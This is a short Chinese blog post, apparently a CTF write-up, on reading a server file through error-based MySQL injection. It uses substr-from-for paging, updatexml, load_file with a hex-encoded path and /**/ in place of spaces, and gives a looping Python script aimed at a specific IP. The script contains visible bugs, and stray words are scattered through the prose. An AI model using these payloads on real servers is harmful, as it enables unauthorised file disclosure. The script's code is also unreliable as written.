SQL注入文件读取经过from for分页读取

http://103.238.227.13:10088/?id=1html

在读取文件的时候发现不可以一会儿所有读取出来。通过百度学习了一下,看到别人使用from for说实在此前真不知道这操做。python

先来看一下from for吧mysql

 1 mysql> select database();
 2 +------------+
 3 | database() |
 4 +------------+
 5 | typecho    |
 6 +------------+
 7 1 row in set (0.00 sec)
 8 
 9 mysql> select substr(database() from 1 for 2);
10 +---------------------------------+
11 | substr(database() from 1 for 2) |
12 +---------------------------------+
13 | ty                              |
14 +---------------------------------+
15 1 row in set (0.00 sec)
16 
17 mysql> select substr(database() from 2 for 3);
18 +---------------------------------+
19 | substr(database() from 2 for 3) |
20 +---------------------------------+
21 | ype                             |
22 +---------------------------------+
23 1 row in set (0.00 sec)
#说明前面一个数字是从第几个开始读取,最后的一个数字是读取的长度。

大概懂了吧,就是起到一个分页的效果。sql

那么再用到注入里天然就OK了。typecho

PS:过滤了空格能够用使用/**/进行替换,还有就是updatexml最多只能显示32位的长度,因此for的数字是32。学习

http://103.238.227.13:10088/?id=1/**/and/**/updatexml(1,concat(1,(select/**/substr(hex(load_file(0x2f7661722f746573742f6b65795f312e706870))from/**/1/**/for/**/32)),1),1)url

而后写一个脚本吧from后面的数字每次+32,for也要加就能够了。spa

如下脚本待完善。code

 1 #!/usr/bin/env python
 2 #encoding:utf-8
 3 #by i3ekr
 4 
 5 import requests,re
 6 from lxml import etree
 7 n1 = 1
 8 n2 = 32
 9 
10 for i in range(0,100):
11     url ="""
12 http://103.238.227.13:10088/?id=1/**/and/**/updatexml(1,concat(1,(select/**/substr(hex(load_file(0x2f7661722f746573742f6b65795f312e706870))from/**/%d/**/for/**/%d)),1),1)
13     """%(n1,n2)
14     html = requests.get(url,timeout=5).text
15     print(html)
16     result=re.findall(html,"[A-Z][0-9][A-Z][0-9]")
17     result = re.findall("[A-Z][0-9][A-Z][0-9]{29}",html)
18     print(result)
19     n1+=31
20     n2+=32
相关文章
相关标签/搜索